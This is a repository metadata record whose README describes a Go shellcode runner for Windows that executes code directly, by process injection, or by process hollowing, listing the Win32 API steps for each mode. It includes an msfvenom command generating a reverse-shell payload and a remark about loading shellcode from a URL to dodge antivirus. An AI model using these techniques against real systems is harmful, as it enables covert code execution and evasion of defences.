{"id":20684178,"url":"https://github.com/chrispritchard/golang-shellcode-runner","last_synced_at":"2025-04-22T12:31:24.270Z","repository":{"id":61624513,"uuid":"495190475","full_name":"ChrisPritchard/golang-shellcode-runner","owner":"ChrisPritchard","description":"A shellcode runner / injector / hollower in Go, for windows","archived":false,"fork":false,"pushed_at":"2022-05-22T22:59:16.000Z","size":6,"stargazers_count":26,"open_issues_count":0,"forks_count":5,"subscribers_count":3,"default_branch":"master","last_synced_at":"2025-03-29T15:11:27.260Z","etag":null,"topics":["kernel32","ntdll","process-hollowing","shellcode-injection"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ChrisPritchard.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2022-05-22T22:20:04.000Z","updated_at":"2024-11-19T04:36:08.000Z","dependencies_parsed_at":"2022-10-18T18:00:34.363Z","dependency_job_id":null,"html_url":"https://github.com/ChrisPritchard/golang-shellcode-runner","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ChrisPritchard%2Fgolang-shellcode-runner","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ChrisPritchard%2Fgolang-shellcode-runner/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ChrisPritchard%2Fgolang-shellcode-runner/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ChrisPritchard%2Fgolang-shellcode-runner/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ChrisPritchard","download_url":"https://codeload.github.com/ChrisPritchard/golang-shellcode-runner/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":250240959,"owners_count":21397895,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["kernel32","ntdll","process-hollowing","shellcode-injection"],"created_at":"2024-11-16T22:19:40.300Z","updated_at":"2025-04-22T12:31:24.251Z","avatar_url":"https://github.com/ChrisPritchard.png","language":"Go","readme":"# Golang (Windows) Shellcode Runner\n\nA small project I put together to help me understand the concepts behind process injection, hollowing and running lots of win32 API calls directly from Go using just the syscall library.\n\nHopefully the code is easy to understand, even though its all this low level nonsense with uintptr etc.\n\n## Specifying Shellcode\n\nShell code to run can be specified one of three ways: directly on the args via `-i`, from a file via `-f`, or from a url with `-u`. This last option is useful as the shellcode will never be written to disk, possibly bypassing anti-virus.\n\n\u003e Shellcode this has been tested with on Windows 11 was created with msfvenom: `msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 PORT=4444 EXITFUNC=thread -f raw -o msfvenom_reversetcp_4444.txt` and then it was run via `-f msfvenom_reversetcp_4444.txt`.\n\n## Modes of Operation\n\nThe shellcode can be run in one of three ways: directly, via process injection, or via process hollowing\n\n### Direct Execution\n\nThis is the default option if `-p` or `-e` are not specified. The following APIs will be invoked:\n\n- **VirtualAlloc** to create some memory space in the runner process\n- **RtlMoveMemory** to copy the shellcode into this space\n- **CreateThread** to start a thread to run the shellcode\n- **WaitForSingleObject** to keep the process alive until the thread exits\n\nThis mode can be useful for debugging shellcode; add an `int3` to your assembly, attach to the runner process and go!\n\n### Process Injection\n\nProvide a process ID with `-p`. The process must be one you either created or otherwise have the rights to mess with. I tested with notepad, grabbing its PID from task manager.\n\nThe following APIs are invoked to run the shellcode inside the target process:\n\n- **OpenProcess** to get the process information\n- **VirtualAllocEx** to allocate some memory inside the process for the shellcode\n- **WriteProcessMemory** to write the shellcode inside this space\n- **CreateRemoteThread** to tell the process to run the shellcode with a new thread\n\nThe shellcode runner (this go project) doesn't need to be kept alive in this mode, and so will exit.\n\n### Process Hollowing\n\nProvide an executable path with `-e` - I tested using svchost, with the path `c:\\\\windows\\\\system32\\\\svchost.exe`. svchost in particular, if not run as system, will immediately exit when run. But process hollowing launches it suspended and then replaces its code with the shellcode, like a parasite :D\n\nThe following APIs are invoked in this mode:\n\n- **CreateProcessA** to start a new process. The flag 0x4 is passed to start it suspended, just before it would run its code.\n- **ZwQueryInformationProcess** to get the address of the process's PEB (process environment block)\n- **ReadProcessMemory** to query the PEB for the image base address\n- **ReadProcessMemory** again to read from the image base address (loading in the PE header for example)\n- **WriteProcessMemory** to overwrite the memory from the code base address with shellcode\n- **ResumeThread** to restart the suspended process, triggering the shellcode.\n\nAs with process injection, the go shellcode runner will exit once the thread is resumed.\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fchrispritchard%2Fgolang-shellcode-runner","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fchrispritchard%2Fgolang-shellcode-runner","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fchrispritchard%2Fgolang-shellcode-runner/lists"}